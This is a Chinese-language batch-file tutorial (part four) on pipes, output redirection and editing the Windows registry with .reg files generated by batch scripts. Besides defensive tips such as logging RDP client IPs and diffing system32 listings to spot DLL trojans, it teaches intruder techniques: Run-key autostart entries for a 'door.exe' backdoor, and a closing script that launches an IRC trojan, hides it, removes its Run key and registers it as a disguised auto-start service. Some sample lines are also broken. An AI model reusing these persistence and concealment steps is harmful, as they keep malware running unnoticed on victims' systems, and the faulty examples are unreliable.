批處理詳細教程(四)

四、管道命令的使用

1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作爲第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出來了麼?用於終端服務允許我們爲用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL***盛行,我們知道system32是個捉迷藏的好地方,許多***都削尖了腦袋往那裏鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL***了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL***光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到回收站裏,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。
No.5
五.如何用批處理文件來操作註冊表
在***過程中經常回操作註冊表的特定的鍵值來實現一定的目的,例如:爲了達到隱藏後門、***程序而刪除Run下殘餘的鍵值。或者創建一個服務用以加載後門。當然我們也會修改註冊表來加固系統或者改變系統的某個屬性,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用.REG文件來操作註冊表.(我們可以用批處理來生成一個REG文件)
關於註冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分爲兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字爲“hacker”的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是“String value”
door的類型是“REG SZ value”
Autodos的類型是“DWORD value”

2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這裏,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下註冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample. reg
@echo "Autodos"=dword:02>>Sample.reg

samlpe2:
我們現在在使用一些比較老的***時,可能會在註冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現***的自啓動.但是這樣很容易暴露***程序的路徑,從而導致***被查殺,相對地若是將***程序註冊爲系統服務則相對安全一些.下面以配置好地IRC***DSNX爲例(名爲 windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在註冊表中的啓動項,用sc.exe將之註冊爲系統關鍵性服務的同時將其屬性設爲隱藏和只讀,並config爲自啓動]
@REM 這樣不是更安全^_^.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章